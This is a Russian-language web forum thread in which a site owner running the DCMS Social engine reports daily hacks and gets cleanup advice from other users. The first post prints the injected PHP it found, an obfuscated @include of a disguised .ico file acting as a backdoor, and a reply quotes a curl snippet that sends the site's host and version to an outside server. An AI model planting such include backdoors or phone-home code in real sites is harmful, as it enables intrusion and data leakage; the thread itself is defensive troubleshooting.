Взлом

3 Янв 2018
Поставил последнюю версию социала, взламывают каждый день, задолбался чистить индексы от кода.
двиг уязвим как я понял.

<?php
/*538c7*/
@include "x2fvx61rx2fwx77wx2fkx61vx6bax7aax72ux2fdx61tx61/x77wx77/x6bax76kx61zx61.x72ux2fsx74yx6cex2fax76tx6frx69tx65tx2ffx61vx69cx6fnx5f4x34ex37bx37.x69cx6f";
/*538c7*/
?>

Тема закрыта Zed
Последний раз редактировалось Zed 28 Фев 2018

Статистика WMID автора:

156531416076 BL

Претензии | Отзывы

Комментарии:

Parviz 4 Янв 2018

Юрий (4 Янв 2018):
Desvi, /style/avtoritet/favicon_44e7b7.ico удаляй

Юрий, а у меня нет такого файла...
Добавлено:
этот код по моему php инъекции, хацкер инклюдировал ico файл и файл работал как php.
а вот код откуда появляется хз. на всякий случай убери код из sys/inc/fnc.php
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://dcms-social.ru/curl.php?site=' . $_SERVER['HTTP_HOST'] . '&version=' . $set['dcms_version'] . '&title=' . $set['title']);
$data = curl_exec($ch);
curl_close($ch);}

Desvi

4 Янв 2018
Автор темы
Юрий, эти файлы почистил я , еще куча нащел, просто я их делал под себя всех, пароли каждый день меняю. если и завтра такая же фигня будет то хз.

Юрий

4 Янв 2018
Desvi, эти файлы заражены, удали и загрузи чистые с движка
/adm_panel/settings_foto.php
/obmen/inc/icon48/mpeg.php
/sys/inc/shif.php
вроде больше нету хз... Лучше тебе установить чистый движок, сменить все пароли от биллинга хоста и фтп.

Desvi

4 Янв 2018
Автор темы
Юрий, скорее всего, или те которым я давала доступ к фтп

Юрий

4 Янв 2018

Desvi (4 Янв 2018):
Юрий, спс , надеюсь теперь то не будет неченго
Добавлено:
Юрий, нееет, эт модуль сашки искателя

Desvi, да не за что
Добавлено:
Desvi, возможно кто-то его подшаманил под вирус
Добавлено:
дай модуль авторитета котопрый ты установил

Desvi

4 Янв 2018
Автор темы
Юрий, спс , надеюсь теперь то не будет неченго
Добавлено:
Юрий, нееет, эт модуль сашки искателя

Юрий

4 Янв 2018
Desvi, модуль авторитет стандартный от социала?